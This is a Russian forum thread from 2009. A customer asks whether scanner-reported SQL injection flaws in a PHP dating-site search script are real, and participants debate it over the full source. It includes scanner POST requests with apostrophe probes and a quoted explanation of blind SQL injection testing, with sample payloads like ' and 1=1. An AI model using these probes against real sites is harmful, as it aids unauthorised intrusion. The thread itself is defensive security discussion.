Пожалуйтесь лучше в арбитражный суд WebMoney, а там, возможно, как-то через суд (реальный) можно будет дело решить. Сейчас, думаю, бесполезно что-то доказывать, т.к. они и сами всё понимают, просто разводят Вас.

   
 
 автор: VITtek   (02.12.2009 в 13:12)   письмо автору
 
   для: Fractured#   (02.12.2009 в 13:04)
 

Судя по заголовкам из файлов:
Например: Первый случай из Dat1
На станице: /search.php?search=3
Post запросом отправляется уязвимость ' (…drinker='&amp;…):
sex=111-222-1933email@address.com&amp;
age1=111-222-1933email@address.com&amp;age2=10000&amp;
likes=111-222-1933email@address.com&amp;
maritalstatus=Divorced&amp;
relationship=111-222-1933email@address.com&amp;
pictures=off&amp;onlinet=0&amp;search=search&amp;
Submit=Ara%20%26gt%3B&amp;login=111-222-1933email@address.com&amp;
fname=111-222-1933email@address.com&amp;
lname=111-222-1933email@address.com&amp;state=Adana&amp;
state=Adana&amp;yahoo=111-222-1933email@address.com&amp;
msn=111-222-1933email@address.com&amp;
aol=111-222-1933email@address.com&amp;
icq=111-222-1933email@address.com&amp;
drinker='&amp;smoker=111-222-1933email@address.com&amp;
occupation=111-222-1933email@address.com&amp;
occupation=111-222-1933email@address.com&amp;
height1=0&amp;height2=0&amp;weight1=0&amp;
weight2=0&amp;skin=111-222-1933email@address.com&amp;
ethnicity=111-222-1933email@address.com&amp;
eyes=111-222-1933email@address.com&amp;
hair=111-222-1933email@address.com&amp;
languages=111-222-1933email@address.com&amp;page=1

В ответ приходит положительный ответ.
НО!!!!
1) Сам одинокий опостроф ' не есть уязвимость.
2) И каков приходит положительный ответ? По заголовкам не ясно. Если Открывается страничка со всеми потрохами (данными базы к примеру) – то это уязвимость, а если иное то это не уязвимость!!!

Мельком пробегая по файлам заметил серьёзный прорех, вместе с картинкой отправляется get-запрос с кодом уязвимости (ремарка: чтобы составить такой get-код, надо знать все переменные в коде-сайта … а как правило если знаешь все переменные, то сответствено у тебя есть сам код-сайта … замкнутая фигня получается)
И опять же приходит ответ, а какой ответ-то, опять не ясно.

Каждая сторона R и Z, по своему правы!!!

За 40 тысяч они должны были вам разжевать и на пальцах донести …

   
 
 автор: Николай2357   (02.12.2009 в 13:24)   письмо автору
 
   для: VITtek   (02.12.2009 в 13:12)
 

Исполнитель никак не может быть прав, если в запрос можно подставить неэкранированный апостроф. Что с этим будет делать хакер - неважно. Об этом даже не стоит и думать. Нужно просто закрыть уязвимость.
Ровно как и с проверкой загружаемых файлов. Если скрипт производит любые действия с файлами, которые не разрешены к использованию - это плохо. И не нужно думать за других - смогут ли этим воспользоваться. Если файл не является разрешенным - скрипт должен отвергнуть его и выдать оповещение об ошибке.
Точно так же дела обстоят и с CSS. Их просто не должно быть. Ни при каких обстоятельствах
Рассуждения на тему - "это вроде как не уязвимость, ну маленькая дырочка, которой нельзя воспользоваться" - верх непрофессионализма.
Осетрина не бывает второй свежести. Скрипт или безопасен или нет
Не может он быть чуть чуть беременным.
ИМХО.

   
 
 автор: Trianon   (02.12.2009 в 13:29)   письмо автору
 
   для: Николай2357   (02.12.2009 в 13:24)
 

>Исполнитель никак не может быть прав, если в запрос можно подставить неэкранированный апостроф.

А его можно подставить именно в запрос?
Вопрос о правоте или неправоте исполнителя, извините, оставляю за кадром.
Он, похоже, не в техническом ключе, а в юридическом.

   
 
 автор: Николай2357   (02.12.2009 в 13:37)   письмо автору
 
   для: Trianon   (02.12.2009 в 13:29)
 

>А его можно подставить именно в запрос?

Ключевые слова
>Исполнитель никак не может быть прав, если в запрос можно подставить неэкранированный апостроф.
Я почему и просил показать исходник

   
 
 автор: Rebz   (03.12.2009 в 14:30)   письмо автору
 
   для: Trianon   (02.12.2009 в 13:29)
 

Нельзя подставить, код ниже.

   
 
 автор: Rebz   (03.12.2009 в 14:19)   письмо автору
 
   для: Николай2357   (02.12.2009 в 13:24)
 

Это - ложное срабатывание сканера. Все спецсимволы экранируются должным образом, XSS в коде так же нет изза htmlspecialchars при выводе параметров на экран.

   
 
 автор: zeta777   (02.12.2009 в 13:15)   письмо автору
 
   для: Fractured#   (02.12.2009 в 13:04)
 

надежда умирает последней. :) Смысла обращаться с WM суд кошель с простым формальным аттестатом, ничего не преверено (только не кидайтесь камнями, как я могла на такой кошель перевести деньги), его прото закроют, этот кошелек и все...

Исполнитель же пишет -

Посему предлагаем
поступить вот как. Вы уже получили безопасный скрипт, если внимательно
посмотрите на отчёт сканера, то увидите что это за ошибки. Вы не
выполняете наши рекомендации, изложенные в отчёте (в частности, про
phpinfo), вы считаете, что лучше нас понимаете нужен флаг display_errors
Off в htaccess или нет, и что является проблемой безопасности, а что ей не
является. Если Вам по-прежнему кажется, что скрипт уязвим или не работает,
предлагаю Вам привлечь стороннего эксперта (хотя-бы для того, что-бы он
объяснил Вам что за ошибки нашёл сканер и можно ли их проэксплуатировать)

вот я и пытаюсь, чтобы кто-то более сведущий, чем я написал здесь, что ошибки, которые нашел сканнер все-таки являются ошибками безопасности и что настройка в .htaccess на display_errors Off не является фиксацией уязвимостей.

Ошибки, которые нашел сканнер выглядят примерно так:

Severity High
Affects /search.php
Details The POST variable skin has been set to '.
Type Validation

Request

POST /search.php?search=3 HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: dat.client.com
Content-Length: 871
Cookie: PHPSESSID=ce5c99fe2551e009ebd058d038c45764;
vc=1;expires=Wed, 27 Nov 2013 06:42:39 UTC;path=/
Connection: Close
Pragma: no-cache

sex=111-222-1933email@address.com&amp;
age1=111-222-1933email@address.com&amp;
age2=10000&amp
;likes=111-222-1933email@address.com&amp;
maritalstatus=Divorced&amp;
relationship=111-222-1933email@address.com&amp;
pictures=off&amp;onlinet=0&amp;search=search&amp;
Submit=Ara%20%26gt%3B&amp;login=111-222-1933email@address.com&
amp;fname=111-222-1933email@address.com&amp;
lname=111-222-1933email@address.com&amp;
state=Adana&amp;state=Adana&amp;
yahoo=111-222-1933email@address.com&amp;
msn=111-222-1933email@address.com&amp;
aol=111-222-1933email@address.com&amp;
icq=111-222-1933email@address.com&amp;
drinker=111-222-1933email@address.com&amp;
smoker=111-222-1933email@address.com&amp;
occupation=111-222-1933email@address.com&amp;
occupation=111-222-1933email@address.com&amp;
height1=0&amp;height2=0&amp;weight1=0&amp;
weight2=0&amp;skin='&amp;
ethnicity=111-222-1933email@address.com&amp;
eyes=111-222-1933email@address.com&amp;
hair=111-222-1933email@address.com&amp;
languages=111-222-1933email@address.com&amp;page=1


И такого ОООЧЕНЬ много
Для меня это непонятно, исполнитель пишет, это не уязвимость, сканнер пишет - это это уязвимость SQL injection высокой степени... Кто прав?

   
 
 автор: zeta777   (02.12.2009 в 13:21)   письмо автору
 
   для: zeta777   (02.12.2009 в 13:15)
 

Вот только что мне пришел ответ на мое последнее письмо

Мое письмо:

Здравствуйте. Хочу также вам отправить отчет AVS по найденным уязвимостям,
который я получила, убрав из .htaccess строчку display_errors Off
Прошу обратить внимание, что это только отчет за всего 3 минуты
сканирования, я даже не стала до конца сканировать, так как и трех минут
(всего один файл успел просканировать)(хватило, чтобы обнаружить огромное
количество sql injections. Это тоже не уязвимости?

С уважением, Z

Ответ:

Здравствуйте!


Совершенно верно, это не уязвимости, а ложные срабатывания сканера.
Постараюсь объяснить за счёт чего так происходит.

1) Код этого движка изначально написан в старом стиле и ориентирован на
PHP 3, соответственно при запуске на PHP 5, в некоторых местах возникают
предупреждения об использовании устаревших функций, пример такого файла
как раз search.php. Причём это предупреждение возникает только тогда,
когда обращаешься к скрипту не передавая ему никаких параметров и на
работоспособность скрипта никак не влияет.

2) Технология использования уязвимости типа Blind SQL Injection
заключается в том, что скрипту передаются разные типы параметров, например
в переменной smoker передаются значения "smoker=' and 1=1" и "smoker=' and
1=0", и полученные после этого страницы сравниваются, если страницы
отличаются, то возможно в скрипте есть SQL инъекция.

Но вот убедиться в том, что это действительно инъекция, а не просто разный
вариант вывода страницы - сканеру не под силу, поэтому он на всякий случай
выдаёт предупреждение о том, что в данном коде возможно есть SQL инъекция,
для того чтобы человек, его использующий мог сам вручную проверить есть
она или нет.

В этом коде инъекции нет, и все "подозрительные" для сканера переменные,
должным образом экранируются при их передаче в запрос.
А появляющаяся ошибка вызвана совершенно другими причинами, описанными в
пункте 1.

Кстати, мы бы советовали Вам всё-таки отключить вывод ошибок на экран, как
и сказано в наших рекомендациях в отчёте.

С уважением, R


Вроде исполнитель объясняет и не отказывается... Мне трудно судить... Я конечно отключу в настройках вывод ошибок, это не проблема... но хотелось бы быть уверенной в том, что скрипт действительно безопасен...

   
 
 автор: Николай2357   (02.12.2009 в 13:26)   письмо автору
 
   для: zeta777   (02.12.2009 в 13:21)
 

Вот и хотелось бы взглянуть на кусочек кода... Весьма вероятно, что система оценки безопасности не та, к которой следует прислушиваться.

   
 
 автор: zeta777   (02.12.2009 в 13:30)   письмо автору
 
   для: Николай2357   (02.12.2009 в 13:26)
 

Вот файл search.php, в котором обнаруживаются уязвимости сканнером:


<?php
// Dating Agent PRO (Licensed for www.minsites.com : D1076425483)
// Copyrights Nica Teodor Marian @2003. All rights reserved.
// (ntm@datetopia.com; ntm@projectsagent.com; ntm3k@yahoo.com)
session_start();
session_register("sessionc");
include("_header.php");

$page = (int)$_REQUEST['page'];
$age1 = (int)$_REQUEST['age1'];
$age2 = (int)$_REQUEST['age2'];
$search = $_REQUEST['search'];
$login = $_REQUEST['login'];
$fname = $_REQUEST['fname'];
$lname = $_REQUEST['lname'];
$country = $_REQUEST['country'];
$state = $_REQUEST['state'];
$city = $_REQUEST['city'];
$yahoo = $_REQUEST['yahoo'];
$msn = $_REQUEST['msn'];
$aol = $_REQUEST['aol'];
$icq = $_REQUEST['icq'];
$onlinet = (int)$_REQUEST['onlinet'];
$sex = $_REQUEST['sex'];
$likes = $_REQUEST['likes'];
$height1 = (int)$_REQUEST['height1'];
$height2 = (int)$_REQUEST['height2'];
$weight1 = (int)$_REQUEST['weight1'];
$weight2 = (int)$_REQUEST['weight2'];
$maritalstatus = $_REQUEST['maritalstatus'];
$skin = $_REQUEST['skin'];
$eyes = $_REQUEST['eyes'];
$hair = $_REQUEST['hair'];
$relationship = $_REQUEST['relationship'];
$custom1 = $_REQUEST['custom1'];
$custom2 = $_REQUEST['custom2'];
$custom3 = $_REQUEST['custom3'];
$drinker = $_REQUEST['drinker'];
$smoker = $_REQUEST['smoker'];
$religion = $_REQUEST['religion'];
$pictures = $_REQUEST['pictures'];
$languages = $_REQUEST['languages'];

//$onlinetimeout - db

if (!$onlinetimeout) $onlinetimeout=60*3;$logt=time()-$onlinetimeout;
if ($page>999 or $page<1) $page=1;if (!$search) $page=0;
if (!$age1) $age1=0;
if (!$age2) $age2=999;
if ($search){
$c_pic="and m.id=pi.member and pi.type='Main' ";
$t_pic=", pictures pi";
$s_pic=", pi.id as pid, pi.picture as picture, pi.details as palt";
if (!$pictures) {
$c_pic="";
$t_pic="";
$s_pic="";
};
$c="m.id=p.id $c_pic";
if ($login) $c.="and m.login like '%".quote_smart($login)."%' ";
if ($fname) $c.="and m.fname like '%".quote_smart($fname)."%' ";
if ($lname) $c.="and m.lname like '%".quote_smart($lname)."%' ";
if ($country) $c.="and m.country like '%".quote_smart($country)."%' ";
if ($state) $c.="and m.state like '%".quote_smart($state)."%' ";
if ($city) $c.="and m.city like '%".quote_smart($city)."%' ";
if ($yahoo) $c.="and p.yahoo like '%".quote_smart($yahoo)."%' ";
if ($msn) $c.="and p.msn like '%".quote_smart($msn)."%' ";
if ($aol) $c.="and p.aol like '%".quote_smart($aol)."%' ";
if ($icq) $c.="and p.icq='".quote_smart($icq)."' ";
if ($onlinet) $c.="and p.ldate >=$onlinet ";
$age1=$age1+0;$age2=$age2+0;
if ($age1) $c.="and (YEAR(CURRENT_DATE)-YEAR(p.birthdate)) - (RIGHT(CURRENT_DATE,5)<RIGHT(p.birthdate,5)) >=$age1 ";
if ($age2) $c.="and (YEAR(CURRENT_DATE)-YEAR(p.birthdate)) - (RIGHT(CURRENT_DATE,5)<RIGHT(p.birthdate,5)) <=$age2 ";
if ($sex) $c.="and p.sex='".quote_smart($sex)."' ";
if ($likes) $c.="and p.likes='".quote_smart($likes)."' ";
$height1=$height1+0;$height2=$height2+0;
if ($height1) $c.="and p.height >=$height1 ";
if ($height2) $c.="and p.height <=$height2 ";
$weight1=$weight1+0;$weight2=$weight2+0;
if ($weight1) $c.="and p.weight >=$weight1 ";
if ($weight2) $c.="and p.weight <=$weight2 ";
if ($maritalstatus) $c.="and p.maritalstatus='".quote_smart($maritalstatus)."' ";
if ($skin) $c.="and p.skin='".quote_smart($skin)."' ";
if ($eyes) $c.="and p.eyes='".quote_smart($eyes)."' ";
if ($hair) $c.="and p.hair='".quote_smart($hair)."' ";
if ($relationship) $c.="and p.relationship='".quote_smart($relationship)."' ";
if ($custom1) $c.="and p.custom1='".quote_smart($custom1)."' ";
if ($custom2) $c.="and p.custom2='".quote_smart($custom2)."' ";
if ($custom3) $c.="and p.custom3='".quote_smart($custom3)."' ";
if ($drinker) $c.="and p.drinker='".quote_smart($drinker)."' ";
if ($smoker) $c.="and p.smoker='".quote_smart($smoker)."' ";
if ($religion) $c.="and p.religion='".quote_smart($religion)."' ";
if ($search==2) {
$c=$sessionc; };
$sessionc=$c;
$ssql="select m.id as id, m.login as login, m.country as country, m.state as state, m.city as city, (YEAR(CURRENT_DATE)-YEAR(p.birthdate)) - (RIGHT(CURRENT_DATE,5)<RIGHT(p.birthdate,5)) as age, p.ldate as ldate, p.details as details $s_pic from members m, profiles p $t_pic where $c ORDER BY m.login ASC LIMIT ".(($page-1)*10).", 10";
$r=q($ssql);?>
<meta name="generator" content="Namo WebEditor v5.0(Trial)">
<CENTER>
<p> </p>
<table width="600" border="0" align="center" cellpadding="1" cellspacing="1">
<TR class='tr1'> <TD colspan="2" bgcolor="#FFFFFF"><STRONG><FONT
face="Arial, Helvetica, sans-serif" size=2>Bulunan &Uuml;yeler &gt;</FONT><font size="2" face="Arial, Helvetica, sans-serif">
</font></strong><?for ($i=($page-12);$i<$page;$i++) if ($i>0) echo " [ <a href=search.php?search=2&pictures=".urlencode($pictures)."&page=".($i).">".($i)."</a> ] ";?>
[ Sayfa <?php echo $page; ?> ]
<?if (($page+1>0)&&(nr($r)>9)) echo "[ <a href=search.php?search=2&pictures=".urlencode($pictures)."&page=".($page+1)."> Sonraki </a> ]";?>
</TD>
</TR>
<TR bgcolor="#000000" class='tr1'> <TD height="3" colspan="2"></TD>
</TR>
<TR bgcolor="#D5DFEE" class='tr1'> <TD><div align="center"><strong>&Uuml;ye</strong></div></TD>
<TD><div align="center"><strong>Detaylarэ</strong></div></TD>
</TR>
<?php
if (!e($r))while ($m=f($r)){?>
<TR valign="top" bgcolor="#F0F0F0" class='tr1'> <TD width="50%" align="center"> <?php echo "<a href=mem.php?mid=$m[id]>".htmlspecialchars($m[login])."</a>";if ($m[pid]) echo "<br><a href='picture.php?pid=$m[pid]'> <IMG src='".htmlspecialchars(piurl($m[picture]))."' width=50 border=1 alt=\"".htmlspecialchars($m[palt])."\"></a>";if ($m[details]) echo "<br>".(tagster_format($m[details],"","",50));?> </TD>
<TD bgcolor="#F0F0F0">
<table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF"> <tr bgcolor="#F0F0F0" class='tr1'> <td width="55" height="20" valign="top" bgcolor="#D5DFEE"> Yer</td>
<td width="538" height="20" valign="top" bgcolor="#F0F0F0"><?php echo (tagster_format("$m[country] $m[state] $m[city]"));?></td>
</tr>
<tr> <td width="55" height="20" valign="top" bgcolor="#D5DFEE">Yaю</td>
<td height="20" valign="top" bgcolor="#F0F0F0"><?php echo "$m[age]";?></td>
</tr>
<tr> <td width="55" height="20" valign="top" bgcolor="#D5DFEE">Durumu</td>
<td height="20" valign="top" bgcolor="#F0F0F0"><?php echo (($m[ldate]>$logt)?"<a href='messages.php?to=".htmlspecialchars($m[login])."&subject=Hi, ".htmlspecialchars($m[login])."!&message=I saw you online...'><b>Online</b></a>":"Offline since ".date("D M j G:i:s T Y",$m[ldate]));?></td>
</tr>
</table>
</TD></TR>
<?php }else echo "<TR class='tr1'><TD colspan='4'>No members found to fit the required profile...</TD></TR>";?>
</TABLE></CENTER>
<br> <?
};if ($search<2){?>
<form name="form1" method="post" action="search.php">
<table width="600" border="0" cellpadding="1" cellspacing="1" align="center">
<TR bgcolor="#D5DFEE" class='tr1'> <TD bgcolor="#FFFFFF"><STRONG><font size="2" face="Arial, Helvetica, sans-serif">Geliюmiю
Arama&gt;</font></strong></TD>
<TD bgcolor="#FFFFFF"><div align="right"> <input type="submit" name="Submit3" value="Show &gt;">
</div></TD>
</TR>
<TR bgcolor="#000000" class='tr1'> <TD height="3" colspan="2"></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Nick</TD>
<TD><input name="login" type="text" id="login" value="<?php echo htmlspecialchars($login); ?>" size="30" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Adэ</TD>
<TD><input name="fname" type="text" id="fname" value="<?php echo htmlspecialchars($fname); ?>" size="30" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Soyadэ</TD>
<TD><input name="lname" type="text" id="lname" value="<?php echo htmlspecialchars($lname); ?>" size="30" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Semt</TD>
<TD><input name="state" type="text" id="state" value="<?php echo htmlspecialchars($state); ?>" size="30" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Юehir</TD>
<TD><SELECT
name=state> <OPTION selected></OPTION> <OPTION
value=Adana>Adana</OPTION> <OPTION
value=Adэyaman>Adэyaman</OPTION> <OPTION
value=Afyon>Afyon</OPTION> <OPTION value=Aрrэ>Aрrэ</OPTION>
<OPTION value=Aksaray>Aksaray</OPTION> <OPTION
value=Amasya>Amasya</OPTION> <OPTION
value=Ankara>Ankara</OPTION> <OPTION
value=Antalya>Antalya</OPTION> <OPTION
value=Ardahan>Ardahan</OPTION> <OPTION
value=Artvin>Artvin</OPTION> <OPTION value=Aydэn>Aydэn</OPTION>
<OPTION value=Balэkesir>Balэkesir</OPTION> <OPTION
value=Bartэn>Bartэn</OPTION> <OPTION
value=Batman>Batman</OPTION> <OPTION
value=Bayburt>Bayburt</OPTION> <OPTION
value=Bilecik>Bilecik</OPTION> <OPTION
value=Bingцl>Bing&ouml;l</OPTION> <OPTION
value=Bitlis>Bitlis</OPTION> <OPTION value=Bolu>Bolu</OPTION>
<OPTION value=Burdur>Burdur</OPTION> <OPTION
value=Bursa>Bursa</OPTION> <OPTION
value=Зanakkale>&Ccedil;anakkale</OPTION> <OPTION
value=Зankэrэ>&Ccedil;ankэrэ</OPTION> <OPTION
value=Зorum>&Ccedil;orum</OPTION> <OPTION
value=Denizli>Denizli</OPTION> <OPTION
value=Diyarbakэr>Diyarbakэr</OPTION> <OPTION
value=Dьzce>D&uuml;zce</OPTION> <OPTION value=Edirne>Edirne</OPTION>
<OPTION value=Elazэр>Elazэр</OPTION> <OPTION
value=Erzincan>Erzincan</OPTION> <OPTION
value=Erzurum>Erzurum</OPTION> <OPTION
value=Eskiюehir>Eskiюehir</OPTION> <OPTION
value=Gaziantep>Gaziantep</OPTION> <OPTION
value=Giresun>Giresun</OPTION> <OPTION
value=Gьmьюhane>G&uuml;m&uuml;юhane</OPTION> <OPTION
value=Hakkari>Hakkari</OPTION> <OPTION
value=Hatay>Hatay</OPTION> <OPTION value=Iрdэr>Iрdэr</OPTION>
<OPTION value=Isparta>Isparta</OPTION> <OPTION
value=Эstanbul-Avrupa>Эstanbul-Avrupa</OPTION> <OPTION
value=Эstanbul-Anadolu>Эstanbul-Anadolu</OPTION> <OPTION
value=Эzmir>Эzmir</OPTION> <OPTION
value=Kahramanmaraю>Kahramanmaraю</OPTION> <OPTION
value=Karabьk>Karab&uuml;k</OPTION> <OPTION
value=Karaman>Karaman</OPTION> <OPTION value=Kars>Kars</OPTION>
<OPTION value=Kastamonu>Kastamonu</OPTION> <OPTION
value=Kayseri>Kayseri</OPTION> <OPTION
value=Kэrэkkale>Kэrэkkale</OPTION> <OPTION
value=Kэrklareli>Kэrklareli</OPTION> <OPTION
value=Kэrюehir>Kэrюehir</OPTION> <OPTION
value=Kilis>Kilis</OPTION> <OPTION
value=Kocaeli>Kocaeli</OPTION> <OPTION
value=Konya>Konya</OPTION> <OPTION
value=Kьtahya>K&uuml;tahya</OPTION> <OPTION
value=Malatya>Malatya</OPTION> <OPTION
value=Manisa>Manisa</OPTION> <OPTION
value=Mardin>Mardin</OPTION> <OPTION
value=Mersin>Mersin</OPTION> <OPTION value=Muрla>Muрla</OPTION>
<OPTION value=Muю>Muю</OPTION> <OPTION
value=Nevюehir>Nevюehir</OPTION> <OPTION
value=Niрde>Niрde</OPTION> <OPTION value=Ordu>Ordu</OPTION>
<OPTION value=Osmaniye>Osmaniye</OPTION> <OPTION
value=Rize>Rize</OPTION> <OPTION value=Sakarya>Sakarya</OPTION>
<OPTION value=Samsun>Samsun</OPTION> <OPTION
value=Siirt>Siirt</OPTION> <OPTION value=Sinop>Sinop</OPTION>
<OPTION value=Sivas>Sivas</OPTION> <OPTION
value=Юanlэurfa>Юanlэurfa</OPTION> <OPTION
value=Юэrnak>Юэrnak</OPTION> <OPTION
value=Tekirdaр>Tekirdaр</OPTION> <OPTION
value=Tokat>Tokat</OPTION> <OPTION
value=Trabzon>Trabzon</OPTION> <OPTION
value=Tunceli>Tunceli</OPTION> <OPTION value=Uюak>Uюak</OPTION>
<OPTION value=Van>Van</OPTION> <OPTION
value=Yalova>Yalova</OPTION> <OPTION
value=Yozgat>Yozgat</OPTION> <OPTION
value=Zonguldak>Zonguldak</OPTION></SELECT></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Yahoo messenger K.adэ</TD>
<TD><input name="yahoo" type="text" id="yahoo" value="<?php echo htmlspecialchars($yahoo); ?>" size="30" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>MSN messenger &nbsp;E-mail</TD>
<TD><input name="msn" type="text" id="msn" value="<?php echo htmlspecialchars($msn); ?>" size="30" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>AOL messenger &nbsp;&nbsp;K.adэ</TD>
<TD><input name="aol" type="text" id="aol" value="<?php echo htmlspecialchars($aol); ?>" size="30" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>ICQ numarasэ</TD>
<TD><input name="icq" type="text" id="icq" value="<?php echo htmlspecialchars($icq); ?>" size="30" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Yaю</TD>
<TD>From <SELECT NAME='age1' VALUE='<?php echo $age1; ?>' >
<?php for ($i=14;$i<100;$i++) {?>
<option <?php if ($age1=="$i") echo "selected"; ?>><?php echo $i; ?></option>
<?php };?>
</SELECT>
to <SELECT NAME='age2' VALUE='<?php echo $age2; ?>' >
<?php for ($i=14;$i<100;$i++) {?>
<option <?php if ($age2=="$i") echo "selected"; ?>><?php echo $i; ?></option>
<?php };?>
<option <?php if ($age2>="100") echo "selected"; ?> VALUE='10000'>many</option>
</SELECT>
years. </TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr0'> <TD>Cinsiyet</TD>
<TD><select NAME='sex' size=1 >
<option></option>
<option <?php if (md5($sex)=="63889cfb9d3cbe05d1bd2be5cc9953fd") echo "selected"; ?>>Bay</option>
<option <?php if (md5($sex)=="b719ce180ec7bd9641fece2f920f4817") echo "selected"; ?>>Bayan</option>
<option>Эkiside :))</option>
</select></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Tercih Ettiрi Cinsiyet</TD>
<TD><select NAME='likes' size=1 >
<option></option>
<option <?php if (md5($likes)=="51b4ae33c918417617aecb49af9f4519") echo "selected"; ?>>Bay</option>
<option <?php if (md5($likes)=="87492b6caf80044da2ca71f58d4f444c") echo "selected"; ?>>Bayan</option>
<option <?php if (md5($likes)=="130c5b3473c57faa76e2a1c54e26f88e") echo "selected"; ?>>Эkiside</option>
</select></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr0'> <TD>Эliюki T&uuml;r&uuml;</TD>
<TD> <select NAME='relationship' size=1 id="relationship">
<option></option>
<option <?php if (md5($relationship)=="a31816a0ac4ccd93f563d1994c347f7f") echo "selected"; ?>>Arkadaюlэk</option>
<option <?php if (md5($relationship)=="2e9f93233580ec886416786b61de35a7") echo "selected"; ?>>Evlilik</option>
<option <?php if (md5($relationship)=="daab80c5dadc81fa2d019c562f805994") echo "selected"; ?>>Sex</option>
<option <?php if (md5($relationship)=="560f23c77d499c21038c0b4487f03cb2") echo "selected"; ?>>Mail Arkadaюlэрэ</option>
</select> </TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Э&ccedil;ki Kullanэmэ</TD>
<TD><select NAME='drinker' size=1 id="drinker">
<option></option>
<option <?php if (md5($drinker)=="1eb79d43dbb97d5ceb3c157fdb27fa60") echo "selected"; ?>>Kullanmэyorum</option>
<option <?php if (md5($drinker)=="f9ffe67a20da9cbff56b420fca4bd491") echo "selected"; ?>>Kullanэyorum</option>
<option <?php if (md5($drinker)=="9914a0ce04a7b7b6a8e39bec55064b82") echo "selected"; ?>>Sosyal Э&ccedil;iciyim</option>
</select></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Sigara Kullanэmэ</TD>
<TD><select NAME='smoker' size=1 id="smoker">
<option></option>
<option <?php if (md5($smoker)=="1eb79d43dbb97d5ceb3c157fdb27fa60") echo "selected"; ?>></option>
<option <?php if (md5($smoker)=="f9ffe67a20da9cbff56b420fca4bd491") echo "selected"; ?>>Kullanmэyorum</option>
<option <?php if (md5($smoker)=="9914a0ce04a7b7b6a8e39bec55064b82") echo "selected"; ?>>Kullanэyorum</option>
<option>Sosyal Э&ccedil;iciyim</option>
</select></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Mezhep</TD>
<TD><input name="occupation" type="text" id="occupation" size="30" value="<?php echo htmlspecialchars($p[religion]); ?>"></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Meslek</TD>
<TD><input name="occupation" type="text" id="occupation" size="30" value="<?php echo htmlspecialchars($occupation); ?>"></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Medeni Durumu</TD>
<TD><select NAME='maritalstatus' size=1 >
<option></option>
<option <?php if (md5($maritalstatus)=="66ba162102bbf6ae31b522aec561735e") echo "selected"; ?>>Bekar</option>
<option <?php if (md5($maritalstatus)=="3ad9e20e1f957c1b5f2c069bae8f8205") echo "selected"; ?>>Evli</option>
<option <?php if (md5($maritalstatus)=="f2e4016d0c9314f9cf4b36489da5b0dd") echo "selected"; ?>>Boюanmэю</option>
</select></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Boyu</TD>
<TD> <INPUT NAME='height1' VALUE='<?php echo $height1; ?>' SIZE=8 >
ile <INPUT NAME='height2' VALUE='<?php echo $height2; ?>' SIZE=8 ></INPUT> M.
Arasэ</TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr0'> <TD>Kilosu</TD>
<TD> <INPUT NAME='weight1' VALUE='<?php echo $weight1; ?>' SIZE=8 ></INPUT> ile <INPUT NAME='weight2' VALUE='<?php echo $weight2; ?>' SIZE=8 >
Kg. &nbsp;Arasэ</TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Ten Rengi</TD>
<TD> <select NAME='skin' size=1 >
<option></option>
<option <?php if (md5($skin)=="e90dfb84e30edf611e326eeb04d680de") echo "selected"; ?>>Siyah</option>
<option <?php if (md5($skin)=="ed63fc91500594c3086714f86b3001e4") echo "selected"; ?>>Buрday</option>
<option <?php if (md5($skin)=="ee38e4d5dd68c4e440825018d549cb47") echo "selected"; ?>>Kэzэl</option>
<option <?php if (md5($skin)=="25a81701fbfa4a1efdf660a950c1d006") echo "selected"; ?>>Beyaz</option>
<option <?php if (md5($skin)=="51e6cd92b6c45f9affdc158ecca2b8b8") echo "selected"; ?>>Sarэ</option>
<option <?php if (md5($skin)=="8dc5344bc0746e1cc5abf896ca03bbdf") echo "selected"; ?>>Pembe</option>
</select> </TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>K&ouml;ken</TD>
<TD><input name="ethnicity" type="text" id="ethnicity" value="<?php echo $ethnicity; ?>" size="30" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr0'> <TD>G&ouml;z Rengi</TD>
<TD><select NAME='eyes' size=1 >
<option></option>
<option <?php if (md5($eyes)=="e90dfb84e30edf611e326eeb04d680de") echo "selected"; ?>>Siyah</option>
<option <?php if (md5($eyes)=="ed63fc91500594c3086714f86b3001e4") echo "selected"; ?>>Kahverengi</option>
<option <?php if (md5($eyes)=="d382816a3cbeed082c9e216e7392eed1") echo "selected"; ?>>Yeюil</option>
<option <?php if (md5($eyes)=="9594eec95be70e7b1710f730fdda33d9") echo "selected"; ?>>Mavi</option>
</select></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr1'> <TD>Sa&ccedil; Rengi</TD>
<TD><select NAME='hair' size=1 >
<option></option>
<option <?php if (md5($hair)=="e90dfb84e30edf611e326eeb04d680de") echo "selected"; ?>>Siyah</option>
<option <?php if (md5($hair)=="ed63fc91500594c3086714f86b3001e4") echo "selected"; ?>>Kahverengi</option>
<option <?php if (md5($hair)=="ee38e4d5dd68c4e440825018d549cb47") echo "selected"; ?>>Kэrmэzэ</option>
